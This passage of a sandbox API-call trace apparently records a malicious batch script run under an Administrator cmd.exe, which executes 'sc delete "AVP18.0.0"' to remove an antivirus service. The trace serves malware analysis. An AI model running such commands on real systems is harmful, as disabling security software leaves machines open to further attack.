lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.503] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"lim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.503] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.503] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.503] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="Aim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.503] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.503] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.503] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="Vm6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.503] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.503] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.503] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="P6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.503] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.503] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.503] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="1\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.503] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.503] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.503] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.503] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="8resql-x64-9.4\"\n\nA\"\n") returned 1 [0072.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr=".esql-x64-9.4\"\n\nA\"\n") returned 1 [0072.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="0sql-x64-9.4\"\n\nA\"\n") returned 1 [0072.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.504] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.504] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr=".ql-x64-9.4\"\n\nA\"\n") returned 1 [0072.504] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.504] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.505] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="0l-x64-9.4\"\n\nA\"\n") returned 1 [0072.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.505] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="\"-x64-9.4\"\n\nA\"\n") returned 1 [0072.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.505] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="\nx64-9.4\"\n\nA\"\n") returned 1 [0072.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.505] GetFileType (hFile=0xb8) returned 0x3 [0072.505] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.505] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.505] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.505] GetFileType (hFile=0x120) returned 0x3 [0072.505] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"AVP18.0.0\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"AVP18.0.0\"\n", lpUsedDefaultChar=0x0) returned 23 [0072.505] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x16, lpOverlapped=0x0) returned 1 [0072.505] GetProcessHeap () returned 0x4a0000 [0072.506] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.506] GetProcessHeap () returned 0x4a0000 [0072.506] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.506] GetProcessHeap () returned 0x4a0000 [0072.506] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.506] GetProcessHeap () returned 0x4a0000 [0072.506] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.506] GetProcessHeap () returned 0x4a0000 [0072.506] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x38) returned 0x4b6510 [0072.506] GetConsoleOutputCP () returned 0x1b5 [0072.506] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.506] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.506] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.507] GetProcessHeap () returned 0x4a0000 [0072.507] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.507] GetProcessHeap () returned 0x4a0000 [0072.507] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3e) returned 0x4baa40 [0072.507] GetProcessHeap () returned 0x4a0000 [0072.507] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0072.507] SetErrorMode (uMode=0x0) returned 0x1 [0072.507] SetErrorMode (uMode=0x1) returned 0x0 [0072.507] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.507] SetErrorMode (uMode=0x1) returned 0x1 [0072.507] GetProcessHeap () returned 0x4a0000 [0072.507] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0072.507] GetProcessHeap () returned 0x4a0000 [0072.507] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0072.507] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.507] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.507] GetProcessHeap () returned 0x4a0000 [0072.507] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.507] GetProcessHeap () returned 0x4a0000 [0072.507] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.508] GetProcessHeap () returned 0x4a0000 [0072.508] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.508] GetProcessHeap () returned 0x4a0000 [0072.508] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.508] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.508] GetProcessHeap () returned 0x4a0000 [0072.508] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.508] GetProcessHeap () returned 0x4a0000 [0072.508] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.508] GetProcessHeap () returned 0x4a0000 [0072.508] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.508] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.508] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.508] GetLastError () returned 0x2 [0072.508] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.509] GetLastError () returned 0x2 [0072.509] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.509] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.509] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.509] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.509] GetLastError () returned 0x2 [0072.509] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.509] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.509] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.509] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.509] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.510] GetProcessHeap () returned 0x4a0000 [0072.510] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.510] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.510] GetProcessHeap () returned 0x4a0000 [0072.510] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa4) returned 0x4b9180 [0072.510] GetProcessHeap () returned 0x4a0000 [0072.510] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa4 [0072.510] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"AVP18.0.0\"") returned 1 [0072.511] GetProcessHeap () returned 0x4a0000 [0072.511] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.511] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.511] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.511] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.511] GetProcessHeap () returned 0x4a0000 [0072.511] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.511] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.512] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.512] GetProcessHeap () returned 0x4a0000 [0072.512] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.512] GetProcessHeap () returned 0x4a0000 [0072.512] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.513] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"AVP18.0.0\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"AVP18.0.0\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"AVP18.0.0\"", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x904, dwThreadId=0x914)) returned 1 [0072.517] CloseHandle (hObject=0x54) returned 1 [0072.517] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.517] GetProcessHeap () returned 0x4a0000 [0072.517] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.517] GetEnvironmentStringsW () returned 0x4c1b10* [0072.517] GetProcessHeap () returned 0x4a0000 [0072.517] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.517] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.517] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.517] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.517] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.560] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.560] CloseHandle (hObject=0x50) returned 1 [0072.560] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.560] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.560] GetProcessHeap () returned 0x4a0000 [0072.560] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.560] GetEnvironmentStringsW () returned 0x4c1b10* [0072.560] GetProcessHeap () returned 0x4a0000 [0072.560] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.560] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.560] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.560] GetProcessHeap () returned 0x4a0000 [0072.560] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.560] GetEnvironmentStringsW () returned 0x4c1b10* [0072.560] GetProcessHeap () returned 0x4a0000 [0072.560] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.560] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.560] GetProcessHeap () returned 0x4a0000 [0072.560] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.560] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.561] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.561] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.561] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.561] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.561] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.561] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.561] GetConsoleOutputCP () returned 0x1b5 [0072.562] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.562] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.562] GetProcessHeap () returned 0x4a0000 [0072.562] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 